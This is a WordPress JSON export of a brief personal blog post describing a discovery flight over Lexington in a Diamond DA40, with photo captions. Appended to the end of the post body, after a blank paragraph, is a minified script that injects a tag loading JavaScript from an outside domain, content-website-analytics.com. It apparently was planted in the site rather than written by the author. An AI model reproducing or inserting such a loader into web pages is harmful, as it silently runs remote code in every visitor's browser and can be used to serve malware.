{"id":923,"date":"2021-02-02T14:56:21","date_gmt":"2021-02-02T19:56:21","guid":{"rendered":"https:\/\/wordpress.zwart.tech\/?p=923"},"modified":"2026-05-05T04:46:20","modified_gmt":"2026-05-05T08:46:20","slug":"lexington-discovery-flight","status":"publish","type":"post","link":"https:\/\/wordpress.zwart.tech\/?p=923","title":{"rendered":"Lexington Discovery Flight"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Steve took a discovery flight from Nexgen aviation on 2\/2\/2021. Weather was 27 degrees, clear with winds 12 to 20 knots, which is the maximum allowed for training flights. The plane was a Diamond DA40, 4 seat light training plane with Lycoming motor.<br><br>Michael the flight instructor let me fly the plane over Lexington for 20 minutes. There was some turbulence as is known to happen on a clear sunny day. It was a fun experience.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight1-768x1024.jpg\" alt=\"\" class=\"wp-image-924\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight1-768x1024.jpg 768w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight1-225x300.jpg 225w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight1-1152x1536.jpg 1152w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight1-1536x2048.jpg 1536w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight1-scaled.jpg 1920w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><figcaption>Snowy Lexington<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight2-768x1024.jpg\" alt=\"\" class=\"wp-image-925\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight2-768x1024.jpg 768w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight2-225x300.jpg 225w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight2-1152x1536.jpg 1152w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight2-1536x2048.jpg 1536w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight2-scaled.jpg 1920w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><figcaption>Steve in co-pilot&#8217;s seat<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight3-1024x768.jpg\" alt=\"\" class=\"wp-image-926\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight3-1024x768.jpg 1024w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight3-300x225.jpg 300w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight3-768x576.jpg 768w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight3-1536x1152.jpg 1536w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2021\/02\/discovery-flight3-2048x1536.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Diamond DA40<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">   <\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Steve took a discovery flight from Nexgen aviation on 2\/2\/2021. Weather was 27 degrees, clear with winds 12 to 20 knots, which is the maximum allowed for training flights. The plane was a Diamond DA40, 4 seat light training plane with Lycoming motor. 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